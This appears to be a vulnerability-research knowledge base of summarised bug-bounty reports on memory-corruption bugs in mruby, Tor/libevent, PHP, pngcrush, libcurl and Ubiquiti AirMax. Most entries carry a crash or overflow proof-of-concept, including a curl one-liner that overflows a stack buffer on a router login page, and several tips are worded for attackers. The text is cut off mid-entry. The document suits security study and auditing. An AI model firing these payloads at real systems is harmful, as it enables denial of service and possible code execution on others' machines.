Insight β unserialize() of attacker data is memory-unsafe well beyond object-injection: self-referential structures can force GC mid-parse and free live objects. Any endpoint deserializing PHP data (cookies, caches, sessions) is in scope; craft cycle-heavy payloads.
Real-world example
Double-free on compiler error path (irep filename ownership)
β Info
Specimen #193719 Β· shopify-scripts Β· awarded Β· 6 votes Β· resolved
Program shopify-scriptsSurface other
Root cause
On a codegen error the mruby error handler frees irep->filename, but nested ireps share/borrow that filename pointer without an ownership flag, so mrb_irep_free frees the same buffer again. Error/cleanup paths that free borrowed pointers are a classic double-free source.
Method
- Feed the compiler an over-complex expression that forces a 'too complex expression' codegen error (deeply nested `a>>=a>>=...`)
- Error handler runs mrb_generate_code MRB_CATCH -> mrb_irep_decref -> mrb_irep_free on parent and nested ireps
- Nested irep's filename (not owned by it) is freed a second time
- ASAN reports double-free in mrb_irep_free/state.c
def b
def c
a>>=a>>=a>>=a>>=a>>=a>>=a>>=a>>=a>>=a>>=a>>=a>>=a>>=a>>=a>>=a>>=a>>=a>>=a>>=a # repeat >>= chain until 'too complex expression'
end
end
Insight β When fuzzing an interpreter/compiler, force error/exception paths (over-complex, over-nested, or malformed input) - cleanup code that frees shared/borrowed pointers is where double-frees hide. Fix pattern here was an explicit own_filename ownership bool before free.
Real-world example
Signed 32-bit capacity overflow -> negative array index write
β Info
Specimen #112386 Β· torproject Β· awarded Β· 6 votes Β· resolved
Program torprojectSurface other
Root cause
smartlist_ensure_capacity uses a signed int for size/capacity. Once num_used reaches INT_MAX, num_used+1 wraps to INT_MIN; the guard `size > capacity` is false (negative < positive) so no realloc happens, and sl->list[num_used++] then writes at a huge negative offset -> heap corruption.
Method
- Find a code path that repeatedly smartlist_add()s attacker-influenced elements to one list
- Drive num_used to 0x7FFFFFFF (needs ~16GB for void* elements; less for smaller element types)
- Next add: size becomes negative, capacity check bypassed, list[INT_MIN] is written
// effective state after 0x7FFFFFFF adds:
smartlist_ensure_capacity(sl, -2147483648); // -2^31 > 0x7FFFFFFF == false, no realloc
sl->list[-2147483648] = element; // OOB write
sl->num_used = -2147483648;
Insight β Any container that stores its count/capacity in a signed int and gates growth on `newsize > capacity` is vulnerable to sign-wrap once the count nears INT_MAX. Audit list/vector/buffer growth helpers for signed size types and post-increment writes.
Real-world example
DNS compression-pointer loop -> label overread
β Info
Specimen #112632 Β· torproject Β· awarded Β· 6 votes Β· resolved
Program torprojectSurface network
Root cause
libevent name_parse copies a length-prefixed label via memcpy(cp, packet+j, label_len) but never checks that packet+j+label_len stays within the packet. By walking compression pointers (0xC0 prefix) to move j to the very end of the buffer, a final label read of up to 63 bytes runs past the packet end.
Method
- Send a crafted DNS response to the resolver
- Use compression-pointer labels (top two bits set) to jump j around the packet, up to length-1 iterations to dodge the loop guard
- Land j at packet end with a non-pointer label so memcpy over-reads up to 63 bytes past the buffer
# python PoC drives ./dns-example -servertest; ASAN: stack-buffer-overflow READ of size 1 in name_parse (regexec/dns code). Key: label_len bytes copied without asserting packet+j+label_len <= packet+length
Insight β In any binary/network parser with pointer/offset jumps (DNS compression, TIFF/EXIF IFD offsets, PDF xref), verify the READ range against the buffer length immediately before every memcpy, not just the offset. Loop-guard on jump count != bounds-check on the copy.
Real-world example
Length cast to signed int -> negative bypasses size check -> stack overflow
β Info
Specimen #112784 Β· torproject Β· awarded Β· 6 votes Β· resolved
Program torprojectSurface other
Root cause
evutil_parse_sockaddr_port computes the bracketed-IPv6 length as `int len = cp-(ip+1)`. For an input longer than INT_MAX between '[' and ']', len becomes negative, passes `if (len > sizeof(buf)-1) return -1`, and memcpy(buf, ip+1, len) then copies with a huge unsigned size into a 128-byte stack buffer.
Method
- Reach a caller that passes attacker-controlled ip_as_string into evutil_parse_sockaddr_port (see entry-functions.txt)
- Supply '[' + very long body + ']' so the computed len wraps negative
- Signed guard passes; memcpy overflows char buf[128] on the stack
char buf[128];
len = (int)(cp - (ip_as_string + 1)); // negative for >INT_MAX span
if (len > (int)sizeof(buf)-1) return -1; // bypassed when len<0
memcpy(buf, ip_as_string+1, len); // stack overflow
Insight β Whenever a length is stored in a signed int and later used as an unsigned memcpy size, a value >INT_MAX flips the safety check. Grep for `int len = ptr - ptr` followed by a `len > sizeof` guard and a memcpy - a recurring C idiom bug.
Real-world example
memcpy(dst, src, sizeof(dst)) over-copies adjacent memory (info leak)
β Info
Specimen #126598 Β· torproject Β· none Β· 6 votes Β· resolved
Program torprojectSurface otherChain over-read -> uninitialized memory disclosure -> possib
Root cause
torsocks copies into fixed destination buffers using sizeof(dest) instead of the actual data length: memcpy(tsocks_he_addr, &ip, sizeof(tsocks_he_addr)) copies 16 bytes for a 4-byte IP, and memcpy(tsocks_he_name, hostname, sizeof(tsocks_he_name)) copies 255 bytes for a short hostname - reading past the source into neighbouring stack/heap.
Method
- Call gethostbyname/gethostbyaddr through the torsocks wrapper
- Wrapper over-copies fixed-size regions, embedding uninitialized adjacent memory into the returned hostent
- A server-controlled PTR reply >255 bytes also lets hostname[buffer.len]='\0' write and later overlong h_name propagate to callers
memcpy(tsocks_he_addr, &ip, sizeof(tsocks_he_addr)); // 16B copied, ip is 4B -> 12B adjacent leak
memcpy(tsocks_he_name, hostname, sizeof(tsocks_he_name)); // 255B copied regardless of real length
Insight β Flag any memcpy whose size is sizeof(destination) rather than the true payload length - it silently copies uninitialized/adjacent memory into an output the caller may expose, a quiet infoleak / ASLR-defeat and a potential downstream overflow. Reporter did not prove exploitability; value is the recurring pattern.
Real-world example
Pointer + size_t overflow bypasses allocator bounds check
β Info
Specimen #138025 Β· torproject Β· awarded Β· 6 votes Β· resolved
Program torprojectSurface other
Root cause
memarea_alloc guards with `if (chunk->next_mem + sz > chunk->U_MEM + chunk->mem_size)`. On 32-bit, if next_mem is a high address and sz is large (sz < SIZE_T_CEILING = 0x80000000), next_mem+sz wraps around the address space, making the check false; the arena then hands out and advances into memory it does not own.
Method
- On a 32-bit build, get an arena chunk whose next_mem is a high virtual address
- Request an sz large enough that next_mem+sz overflows to a small/zero address
- Bounds check passes; result pointer + subsequent memset corrupts unrelated heap
// reproduce by forcing a high chunk address:
res = mmap((void*)0xF0000000, chunk_size, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
memarea_t *area = memarea_new();
char *mem = memarea_alloc(area, 0x10000000);
memset(mem, 0, 0x10000000); // segfault / corruption (compile -m32)
Insight β Bounds checks of the form `ptr + len > end` are unsafe when ptr+len can overflow the address space. Prefer `len > (size_t)(end - ptr)`. Any custom allocator/arena on 32-bit that adds a pointer and an attacker-influenced size is suspect.
Real-world example
Size-rounding shift loop overflows to 0 -> realloc(0) -> OOB write
β Info
Specimen #163459 Β· torproject Β· awarded Β· 6 votes Β· resolved
Program torprojectSurface other
Root cause
preferred_chunk_size doubles sz (sz<<=1) until it covers target, with no upper bound. For a large target the shift walks 0x80000000 -> 0 and returns 0. That 0 flows into tor_malloc/tor_realloc; chunk_grow then sets chunk->memlen=sz and writes chunk->data on a ~0-byte allocation -> heap OOB write.
Method
- Reach buf_pullup (or uncapped buf_add_chunk_with_capacity) with a large capacity
- preferred_chunk_size right-shifts past the top bit and returns 0
- chunk_grow -> tor_realloc(chunk, ~0 bytes), then writes memlen/data fields past the tiny allocation
buf_t* buf = buf_new();
size_t string_len = 0x1000; char* s = tor_malloc(string_len);
for (i=0;i<507904;i++) write_to_buf(s, string_len, buf);
write_to_buf(s, 0x3FFFFFA, buf);
buf_pullup(buf, 0x90000000); // preferred_chunk_size -> 0 -> realloc(0) -> OOB
Insight β Any bit-doubling size-rounding loop (`while (x<target) x<<=1`) with no cap silently returns 0 on overflow; the 0 becomes a tiny malloc that later code writes past. Hard-limit the shift count and reject 0 before allocating.
Real-world example
Unchecked EXIF thumbnail offset/size -> over-read / uninitialized disclosure
β Info
Specimen #167888 Β· ibb Β· awarded Β· 6 votes Β· resolved
Program ibbSurface file-uploadChain malicious image upload -> exif parse -> memory over-reTag file-upload
Root cause
PHP exif_process_IFD_in_TIFF reads a thumbnail using attacker-set Thumbnail.offset/Thumbnail.size without validating them against FileSize. When offset>FileSize, php_stream_read returns short (fgot<size) but code only logs EXIF_ERRLOG_THUMBEOF and continues, so a size-bytes buffer is emalloc'd and processed with uninitialized/short data.
Method
- Craft a TIFF/JPEG whose SUB_IFD thumbnail tag sets Thumbnail.offset beyond the file and a large Thumbnail.size
- Have the target call exif_read_data() on the uploaded image
- Thumbnail.data = safe_emalloc(size); short read leaves it partly uninitialized; no early return -> the data is built/returned
# malicious TIFF with TAG_SUB_IFD thumbnail: offset > filesize, size large
# see https://bugs.php.net/bug.php?id=72926 ; sibling of bug 72627
Insight β Image metadata parsers must validate every embedded offset+length against the actual file size BEFORE seeking/allocating, and must abort (not just log) on a short read. EXIF/TIFF thumbnail offsets are a recurring over-read sink reachable via any avatar/image upload feature.
Real-world example
Crafted combinator/proc script -> invalid VM env-stack dereference
β Info
Specimen #214845 Β· shopify-scripts Β· awarded Β· 6 votes Β· resolved
Program shopify-scriptsSurface other
Root cause
Malformed but valid-parsing mruby scripts (heavy curry/proc/combinator chains, or begin/ensure/return* control-flow tricks) desynchronize the VM's register/env state so mrb_vm_exec dereferences a bogus m->env->stack[0] (small integer treated as pointer) -> SEGV. A class of DoS in the embedded sandbox reachable purely from untrusted script input.
Method
- Submit a crafted mruby script to the sandbox
- VM reaches OP_CALL/env path where m->env is set but its stack pointer is invalid
- regs[0] = m->env->stack[0] dereferences an invalid address (e.g. 0x2/0x3) -> crash
s=proc{|f,g,x|f[x][g[x]]}.curry
k=proc{|x,y|x}.curry
i=proc{|x|x}.curry
fi0=[]
re0=proc{|x|fi0.size;x}.curry
[s[s[i][i]][k[i]]][0][s[s[k[s]][s[k[s]][s[s[k[s]][s[k[s[k[re0]]]][s[k[s]][k]]]][k]]]][k[s[k[s]][k]]]]
Insight β Embedded-language sandboxes (mruby, Lua, JS engines) must be fuzzed with control-flow and closure edge cases, not just data. Register/env desync from curry/proc/ensure chains yields NULL-or-controlled derefs; at minimum a reliable sandbox DoS. Also seen: NULL deref in ary_concat (#296198) and reachable assert in mrb_debug_info_append_file (#215967).
Real-world example
Mutating an array used as a hash key -> hash heap corruption / invalid free
β Info
Specimen #216725 Β· shopify-scripts Β· awarded Β· 6 votes Β· resolved
Program shopify-scriptsSurface other
Root cause
An array is used as (part of) a hash key, then mutated after insertion (a[0]="z"), and the same key re-inserted; the hash's internal bookkeeping is corrupted so a later dup/GC frees a pointer that was never separately malloc'd -> 'malloc(): memory corruption' / free-of-non-malloced.
Method
- Create a hash and insert an entry keyed by an array (nested in another array)
- Mutate the array's element in place
- Re-insert with the same (now-mutated) array key, then h.dup
- Allocator aborts on corruption / ASAN reports free of non-malloced address
a=[]
h={""=>0}
h[[a,"...long string..."]]=0
a[0]="z" # mutate key after insertion
h[[a,"...long string..."]]=0
h.dup # malloc(): memory corruption
Insight β In any language runtime, mutable objects used as hash/set keys are a corruption vector: the container caches hash/identity at insert time, and later mutation + re-insert/dup/rehash desynchronizes ownership. Probe hashes/sets with mutable keys that you mutate in place.
Real-world example
Off-by-one when zeroing an expanded stack region -> heap overflow
β Info
Specimen #194906 Β· shopify-scripts Β· awarded Β· 5 votes Β· resolved
Program shopify-scriptsSurface other
Root cause
mruby init_new_stack_space cleared `room - keep` slots starting at stack[keep] when it should clear `room - keep - 1`; with keep>0 the memset/stack_clear writes 16 bytes past the reallocated 4096-byte stack region -> heap-buffer-overflow WRITE.
Method
- Run a script that forces a stack extension with keep>0 (deep ensure/yield with long >>= chains)
- stack_extend reallocs the stack, then init_new_stack_space zeroes one slot too many
- ASAN: heap-buffer-overflow WRITE of size 16 just right of the 4096-byte region
class A
yield ensure 0.g>>=0.g>>=0.g>>=0.g>>=0.g>>=0.g # long >>= chain, then:
end.g>>=g>>=s0>>=e=_=0.g>>= ... >>=super # forces stack extend with keep>0
Insight β Buffer-zeroing/initialization loops after a grow are a common off-by-one site (room-keep vs room-keep-1). When auditing dynamic stacks/arenas, check the INITIALIZATION bounds separately from the allocation bounds - the alloc can be correct while the clear overruns by one element.
Real-world example
Worker-thread race on a shared object -> exploitable double-free
β Info
Specimen #47227 Β· ibb Β· awarded Β· 5 votes Β· resolved
Program ibbSurface otherChain Worker race -> double-free -> heap grooming -> code
Root cause
Flash shares a ByteArray between two Workers; one Worker calls bytearray.compress() (which reallocates/frees the backing buffer) while the other is using it. The unsynchronized resize races the concurrent use and double-frees the array (CVE-2015-0312), giving an exploitable UAF/double-free.
Method
- Create two Flash Workers sharing one ByteArray
- From one Worker repeatedly call compress() (resize/free of the backing store)
- Concurrently access the same ByteArray from the other Worker
- Race produces a double-free of the backing buffer -> exploitable heap state
// shared ByteArray across Workers; thread A: ba.compress(); thread B: reads/uses ba concurrently
// full exploit: https://code.google.com/p/chromium/issues/detail?id=436022
Insight β Any runtime that lets two threads/Workers share a mutable, resizable buffer without locking is a double-free/UAF surface: a resize/compress on one side frees memory the other side still references. Look for shared mutable buffers + a resize/compact/free API reachable from a second thread. Same Flash Worker-race class produced a COM-object refcount UAF, CVE-2015-3103 (#119657).
Real-world example
PHP wddx_deserialize() out-of-bounds read via unterminated attribute array
β Info
Specimen #170618 Β· ibb Β· awarded Β· 5 votes Β· resolved
Program ibbSurface otherTag file-upload
Root cause
php_wddx_push_element() advances the XML attribute index inside an if-condition (atts[++i]) so the loop guard atts[i] is skipped; on the next iteration strcmp() reads past the NULL terminator of the atts[] array into attacker-influenced memory.
Method
- Send a wddxPacket XML whose <var> uses a 'Name' attribute followed by extra nested vars to desync the atts[] index
- Call wddx_deserialize($xml); libexpat feeds crafted atts[] into php_wddx_push_element
- strcmp(atts[i], "name") dereferences atts[i] one slot past NULL -> OOB read / crash
- Confirm with ASan (SEGV in strcmp) and observe rdi holding attacker bytes like \x01xPacket
<?php
$xml = <<<XML
<?xml version='1.0' ?>
<!DOCTYPE et SYSTEM 'w'>
<wddxPacket ven='1.0'>
<array>
<var Name="name"><boolean value="keliu"></boolean></var>
<var name="1111"><var name="2222"><var name="3333"></var></var></var>
</array>
</wddxPacket>
XML;
var_dump(wddx_deserialize($xml));
Insight β When a C loop advances an index inside a condition (atts[++i]) instead of the loop header, the sentinel NULL check is bypassed; any interpreter function that deserializes attacker XML/data (wddx, unserialize) is a memory-corruption sink. Feed deeply/oddly nested structures to desync internal indices.
Real-world example
PHP array_walk() use-after-free by mutating the array from its own callback
β Info
Specimen #155223 Β· ibb Β· awarded Β· 5 votes Β· resolved
Program ibbSurface otherTag file-upload
Root cause
array_walk()/array_walk_recursive() hold an internal pointer into the array while iterating; a callback that takes the array by reference and reallocates it (unset + array_values) frees the backing storage the iterator still uses, causing a use-after-free. Reachable remotely wherever such a pattern processes attacker data.
Method
- Find code that calls array_walk with a by-reference (&$arr) callback that unsets/re-indexes the same array
- Supply input (e.g. path segments containing '..') that triggers the array_values() reallocation inside the callback
- Iterator dereferences freed array storage -> UAF
array_walk($parts, function ($value, $key) use (&$parts) {
if ($value === '..') {
unset($parts[$key], $parts[$key-1]);
$parts = array_values($parts); // reallocates while array_walk still iterates -> UAF
}
});
Insight β Mutating a container while iterating it is a memory-safety bug in native runtimes, not just a logic bug. When auditing, grep for iteration callbacks (array_walk, usort, array_map with references) that modify the same collection; the zend-loader ClassMapAutoloader path shows it reachable from real code.
Real-world example
PHP use-after-free via assign-by-reference to __get-overloaded object property
β Info
Specimen #123119 Β· ibb Β· awarded Β· 4 votes Β· resolved
Program ibbSurface other
Root cause
Assigning by reference (=&) to a property routed through an object's __get overload handler, then using it in an arithmetic/error expression, leaves a dangling zval that is freed and later reused, causing a use-after-free in the PHP engine (bug 70083).
Method
- Get the target to run/eval PHP with attacker-influenced object graph
- Create a class with a __get that returns $this, assign one of its props by reference (=&) to a function return, then reference it in an error-triggering expression
- Engine frees and reuses the zval -> UAF crash / memory corruption
<?php
class wpq {
private $unrenced;
public function __get($name) { return $this; }
}
function ret_assoc() { return array('Roo' => 'bar'); }
$wpq = new wpq;
$wpq->interesting =& ret_assoc();
$x +@$wpq->interesting;
printf("%s\n", $x);
Insight β Language-runtime UAFs cluster around reference/alias operators combined with magic accessors (__get/__set), object destruction order, and error paths. For interpreters exposed to attacker-supplied scripts or templates, fuzz combinations of =&, overloaded objects, and GC to find crash/corruption primitives.
Real-world example
Double-free/segfault in image parser via malformed PNG sPLT chunk (CVE-2015-7700)
β Info
Specimen #93546 Β· ibb Β· none Β· 4 votes Β· resolved
Program ibbSurface otherTag file-upload
Root cause
pngcrush (<1.7.87) mishandles a valid PNG containing an sPLT chunk, corrupting the png_data structure so png_free_data double-frees / frees an invalid pointer (0x5555...), causing invalid reads/writes and a segfault.
Method
- Craft/obtain a valid PNG that includes an sPLT chunk
- Feed it to any service that processes uploads with pngcrush (thumbnailing/optimization)
- Processor double-frees and segfaults -> DoS of the image worker
./pngcrush -reduce -brute ps1n0g08.png /dev/null
# valgrind: Invalid free() ... png_free_data (png.c:542) after png_set_sPLT/png_handle_sPLT
# SIGSEGV in __libc_free(mem=0x5555555555555555)
Insight β Server-side media pipelines (ImageMagick, pngcrush, libvips) parse attacker-controlled files with C libraries full of chunk-parsing memory bugs. Target less-common but valid chunks (sPLT, iCCP, zTXt) that hit rarely-exercised code paths. A crash is a DoS; heap-corruption variants can escalate. Enumerate which optimizer/thumbnailer a target runs, then fire known-bad chunk PoCs.
Real-world example
mruby VM-stack realloc use-after-free (OP_RESCUE)
β Info
Specimen #295276 Β· shopify-scripts Β· $800 Β· 4 votes Β· resolved
Program shopify-scriptsSurface other
Root cause
mruby keeps the operand/register stack as one contiguous realloc'd buffer. Re-entrant control flow (rescue/ensure nested inside Class/block evaluation) triggers stack_extend_alloc, which reallocs and frees the old stack while raw register pointers into the old region are still dereferenced -> heap-use-after-free WRITE.
Method
- Feed a crafted Ruby script with nested rescue/ensure and Class*/block re-entry to the mruby sandbox
- stack_extend reallocs the VM stack mid-evaluation, freeing the old buffer
- mrb_vm_exec keeps writing (size 16) into the freed region -> ASAN heap-use-after-free
def e
proc
ensure z rescue
yield
end
e {
Class * def * x
new {
Class * 0
}
ensure 0[] = 00end rescue
0
} rescue
z
Insight β When auditing script/VM sandboxes, hunt for cached raw pointers into a growable stack/array that can be reallocated by a nested call. Deeply nested or re-entrant control flow (yield, rescue/ensure, calls that grow the stack) is the trigger.
Real-world example
mruby String concat size/int overflow heap overflow
β Info
Specimen #192665 Β· shopify-scripts Β· $100 Β· 4 votes Β· resolved
Program shopify-scriptsSurface other
Root cause
Repeatedly appending a string to itself (A<<A) doubles length until the computed concat size in mrb_str_concat overflows/exceeds the allocation, causing memcpy to write ~1GB past a heap buffer.
Method
- Build arrays via splat then loop String#<< self-append
- mrb_str_concat computes an oversized/overflowed length
- __memcpy_sse2_unaligned writes past the allocation -> ASAN heap-buffer-overflow WRITE size 1073741824
A = 'z'
C = ['a','a','a','a','a','a','a','a','a','a']
I = [*C,'a','a','a','a','a','a','a','a','a']
J = [*I,'a','a','a','a','a','a','a','a','a']
M = [A,A,A,*J]
for a in M do
A<<A
end
Insight β Self-referential/exponential growth (x<<x in a loop) cheaply overflows length arithmetic in string/buffer concat routines; test length-doubling against any runtime's concat sink.
Real-world example
mruby sprintf positional arg number used as pointer
β Info
Specimen #192318 Β· shopify-scripts Β· awarded Β· 4 votes Β· resolved
Program shopify-scriptsSurface other
Root cause
mrb_vformat / mruby-sprintf does not validate the N in a %N$ positional format specifier; the numeric index flows into join_ary/convert and is dereferenced as an object pointer, letting the attacker place an arbitrary address into a pointer used for a write.
Method
- Call sprintf with a huge positional index: '%A%1094861636$'%2
- The unchecked index is used as an mrb_value/pointer
- convert_type dereferences the attacker number (0x41424344) -> heap OOB / crash
'%A%1094861636$'%2
Insight β Format-string positional specifiers (%N$) are an index sink: any parser trusting N as an array/pointer index is exploitable. Feed absurd positional numbers to printf-style builtins.
Real-world example
Recursive coercion callback -> unbounded VM-stack realloc heap corruption
β Info
Specimen #212882 Β· shopify-scripts Β· awarded Β· 4 votes Β· resolved
Program shopify-scriptsSurface other
Root cause
A user-defined coercion method (to_str) or Hash default block that re-enters interpreter code recurses without bound; each level calls stack_extend_alloc/mrb_realloc to grow the VM stack until glibc detects heap-metadata corruption ('realloc(): invalid next size') and aborts.
Method
- Define a recursive to_str (or Hash default proc) that re-invokes the path calling it
- mruby repeatedly stack_extend/reallocs the VM stack (gc.c:201)
- glibc realloc trips 'invalid next size' -> SIGABRT / heap corruption
def to_str
``
00end
0.times
# also (198452): Hash.new {|s,k| s[k] }[1]
Insight β User-overridable coercion hooks (to_str, to_int, method_missing, Hash default proc) are recursion primitives against embedded interpreters; deep recursion driving a growable stack allocator reliably corrupts the heap / DoS.
Real-world example
Override to_str/method_missing to feed type-confused value to C builtin
β Info
Specimen #217083 Β· shopify-scripts Β· awarded Β· 4 votes Β· resolved
Program shopify-scriptsSurface other
Root cause
Redefining coercion hooks (to_str, method_missing) lets a crafted object slip through mrb_check_convert_type into C builtins that assume a real String/object. mrb_str_to_inum then reads RSTRING_LEN off an invalid pointer; enum_for.next / super() reach mrb_vm_exec with NULL pc/target_class. All are attacker-reachable bad-pointer derefs from the sandbox.
Method
- Define method_missing and to_str returning bogus/empty values
- Call a C builtin that coerces its arg, e.g. Integer(<nonstring>,2)
- convert_type accepts the type-confused object; mrb_str_to_inum derefs invalid RString -> SIGSEGV
def method_missing(*)false
end
def to_str()""end
Integer(ΓΏ,2).h
# variant (217097): def method_missing(meth,*args)yield(meth,args)end; enum_for.next
# variant (196380): 0.instance_eval{super()}
Insight β In script sandboxes the fastest bugs come from overriding coercion/dispatch hooks (to_str,to_int,coerce,method_missing) so C builtins operate on wrong-shaped objects. Grep the runtime for check_convert_type/respond_to paths that trust the returned object.
Real-world example
Path-normalization memmove miscalculation (Ubiquiti AirMax)
β Info
Specimen #73491 Β· ui Β· awarded Β· 4 votes Β· resolved
Program uiSurface network
Root cause
ub_normalize_filename() computes memmove(fwd_slash+1, back_slash+1, size-(back_slash-filename)) from an attacker-controlled upload filename; with a backslash before a forward slash the length is miscalculated so the move copies past the buffer end -> heap buffer overflow.
Method
- Send a multipart upload with a crafted filename containing '\' then '/'
- ub_normalize_filename's pointer arithmetic over-counts bytes to move
- memmove writes out of bounds
filename="\asdfasdfasdfasdfsdfgdsfg/a"
Insight β Custom filename sanitizers doing pointer arithmetic on strrchr('/') vs strrchr('\\') routinely miscompute copy lengths. On embedded/IoT web stacks the upload filename is a reliable memory-corruption sink.
Real-world example
strcpy of MIME boundary into fixed stack buffer (Ubiquiti AirMax)
β Info
Specimen #74004 Β· ui Β· awarded Β· 4 votes Β· resolved
Program uiSurface networkChain Unauthenticated HTTP POST -> stack overflow -> RCE on
Root cause
getpost() does char boundary[100]; strcpy(boundary, mb+1) copying the multipart/form-data boundary from the Content-Type header without a length check -> classic stack buffer overflow, remotely triggerable and likely RCE on identical embedded devices.
Method
- POST with Content-Type: multipart/form-data; boundary=<>100 chars>
- getpost strcpy's the oversized boundary into a 100-byte stack buffer
- CGI crashes with SIGSEGV (mod_cgi: process died with signal 11)
curl -X POST -H "Content-Type: multipart/form-data; boundary=------------------------------dddddd...(>100 d's)" --data-binary AnyDataHERE "https://TARGET/login.cgi" -k -v
Insight β Grep embedded CGI source for strcpy/strcat into fixed stack buffers fed from headers (Content-Type boundary, Host, Cookie). The MIME boundary is attacker-controlled and unbounded -> stack overflow with a one-line curl.
Real-world example
Ruby json C-ext segfault on lone UTF-16 surrogate
β Info
Specimen #198927 Β· ruby Β· none Β· 4 votes Β· resolved
Program rubySurface other
Root cause
Ruby's default json C extension (2.0.1+) mishandles a lone high surrogate (\ud800-\udbff) in a \uXXXX escape, causing a segfault (and corrupted output) during JSON.parse; the pure-Ruby json/pure instead raises. Any service calling JSON.parse on untrusted input is affected.
Method
- Send JSON containing a lone surrogate escape to a JSON.parse endpoint
- The C UTF-16 decode path dereferences invalid state
- Process segfaults (DoS; possible memory corruption)
require 'json'; JSON.parse('"\ud800"')
Insight β Unpaired UTF-16 surrogates (\ud800-\udfff) are a go-to fuzz input for JSON/unicode decoders in native extensions. Enumerate 0xd800-0xdbff against parse endpoints; native json handlers often diverge from spec-compliant pure implementations.
Real-world example
shoco decompression global-buffer-overflow read (CVE-2017-11367)
β Info
Specimen #250581 Β· ibb Β· none Β· 4 votes Β· resolved
Program ibbSurface other
Root cause
shoco_decompress indexes model lookup tables (chrs_by_chr_id / chrs_by_chr_and_successor_id) with values derived from malformed compressed input without bounds checks, reading 4 bytes outside the global arrays -> global-buffer-overflow READ / DoS.
Method
- Feed malformed shoco-compressed data to shoco_decompress
- An unchecked index reaches outside a global model table
- ASAN reports global-buffer-overflow READ (DoS/crash)
./shoco < malformed_compressed_input # AFL-generated
Insight β Decompression/lookup-table codecs trust indices from the compressed stream; fuzz with malformed compressed blobs and watch for OOB reads on static model tables. Even read-only OOB is a DoS and possible info leak.
Real-world example
libcurl IMAP zero-length response strlen over-read (CVE-2017-1000257)
β Info
Specimen #278231 Β· ibb Β· none Β· 4 votes Β· resolved
Program ibbSurface otherChain Malicious IMAP server -> zero-length FETCH -> heap ove
Root cause
An IMAP FETCH response advertising 0 bytes makes libcurl pass size 0 to Curl_client_write, which treats 0 as a magic 'unknown length' and calls strlen() on the heap buffer. The buffer may not be NUL-terminated, so strlen reads past it and delivers the over-read bytes to the application (memory disclosure) or crashes.
Method
- Point curl at a malicious/MITM IMAP server returning a FETCH with zero size
- Curl_client_write sees len==0 and invokes strlen on a non-terminated heap buffer
- Over-read leaks adjacent heap into downloaded data / crashes
IMAP FETCH response line indicating 0-byte body -> Curl_client_write(..., ptr, 0) -> strlen(ptr) over-read
Insight β '0 length means call strlen()' magic-number handling is a memory-disclosure pattern. When a protocol lets the server declare a length, test 0 and mismatched lengths; a server-controlled size that flips code into strlen()/unbounded read leaks client heap.
Real-world example
PHP format-string RCE in php_snmp_error (%Z zval specifier)
β Info
Specimen #127212 Β· ibb Β· awarded Β· 3 votes Β· resolved
Program ibbSurface otherChain format string -> %Z zval abuse -> arbitrary code execu
Root cause
php_snmp_error() passed snmp_object->snmp_errstr directly as the format argument to zend_throw_exception_ex() (no %s wrapper); a controlled error string becomes a format string, and PHP's internal %Z (zval) specifier is abused for full code execution.
Method
- Reach an SNMP error path where the error string is attacker-influenced
- Embed format specifiers (notably %Z) in that string
- zend_throw_exception_ex interprets them -> memory read/write -> RCE
; snmp_errstr passed as format arg: zend_throw_exception_ex(ce, 0, snmp_errstr) <-- should be "%s", snmp_errstr
; attacker error string with PHP-internal specifiers e.g. ...%Z... (PoC exploit attached)
Insight β Grep C code for printf-family / *_ex(...) calls where a runtime string is the format argument instead of a literal with %s; engine-internal specifiers (%Z) widen impact beyond classic %n.
Real-world example
pngcrush off-by-one OOB write (CVE-2015-2158)
β Info
Specimen #73429 Β· ibb Β· none Β· 3 votes Β· resolved
Program ibbSurface otherChain malicious PNG -> off-by-one loop -> OOB write
Root cause
pngcrush_measure_idat() zero-fills with for(ib=27; ib>=length; ib--) buff[ib]=0; when length is 0 the final iteration sets ib=-1 and writes buff[-1], an out-of-bounds write triggerable by a crafted PNG.
Method
- Craft a PNG whose IDAT length reaches the length==0 code path
- Run pngcrush over it
- buff[-1]=0 out-of-bounds write -> crash / potential code exec
// pngcrush.c ~L7405
if (length < 28)
for (ib=27; ib >= length; ib--) // length==0 -> ib reaches -1
buff[ib] = 0; // OOB write at buff[-1]
Insight β Audit descending loops with a signed index and a caller-controlled lower bound; `>=` plus a zero bound is the classic off-by-one under/over-write in image and file parsers.
Real-world example
PHP pecl_http URL-parser heap overflow -> function-pointer overwrite RCE
β Info
Specimen #121863 Β· ibb Β· awarded Β· 3 votes Β· resolved
Program ibbSurface otherChain URL parse -> percent-encode expansion heap overflow ->
Root cause
php_http_url parse_*() functions increment state->offset while percent-encoding non-printable characters without checking state->buffer size; the overflow overwrites an adjacent php_stream_ops struct callback function pointer, later called = arbitrary code execution.
Method
- Build an HTTP message / URL containing many non-printable chars that expand to %XX
- Parse it via http\Message / php_http_url_parse
- Overflow overwrites php_stream_ops function pointer; on _php_stream_free the pointer is called
<?php $m = new http\Message(file_get_contents('poc.req'), false); ?>
// poc.req: HTTP message with non-printable bytes expanding to percent-encoding to overflow state->buffer
// gdb: call QWORD PTR [rax+0x10] with overwritten <php_stdiop_write> pointer
Insight β When output can be larger than input (percent/entity/escape encoding), the encoder's bounds math is the bug; look for offset++ writes without re-checking destination size, and exploitable structs (function pointers) placed right after the buffer.
Real-world example
Use-after-free / heap corruption in embedded interpreter (mruby)
β Info
Specimen #192532 Β· shopify-scripts Β· awarded Β· 3 votes Β· resolved
Program shopify-scriptsSurface other
Root cause
Overriding method_missing and chaining instance_eval{prepend(...)} makes mruby operate on a string object that is freed/reallocated mid-use, corrupting the heap (free(): invalid next size / malloc memory corruption) and crashing the whole eval thread (SIGABRT/SIGSEGV in dlmalloc).
Method
- Redefine a core hook (method_missing) to return controlled strings
- Use nested instance_eval + prepend to alias/mutate an object whose backing buffer is freed and reused
- Trigger inspect/realloc so dlmalloc detects corruption and aborts
def method_missing(m)"0000000"end
m0=w.instance_eval{prepend(m)}
m0.instance_eval{prepend(m0)}
Insight β Self-referential eval + core-method redefinition is a reliable way to force UAF/heap corruption in embedded interpreters. Build with ASan; controllable free-then-reuse (attacker string content lands in freed chunk metadata) can be more than a DoS.
Real-world example
PHP HTTP wrapper type-confusion via stream notification callback
β Info
Specimen #73247 Β· ibb Β· awarded Β· 3 votes Β· resolved
Program ibbSurface other
Root cause
php_stream_url_wrap_http_ex() caches a pointer to the $http_response_header array and assumes it stays an array; a user stream-notification callback can replace that variable with a string mid-execution, causing type confusion when it is later used as an array.
Method
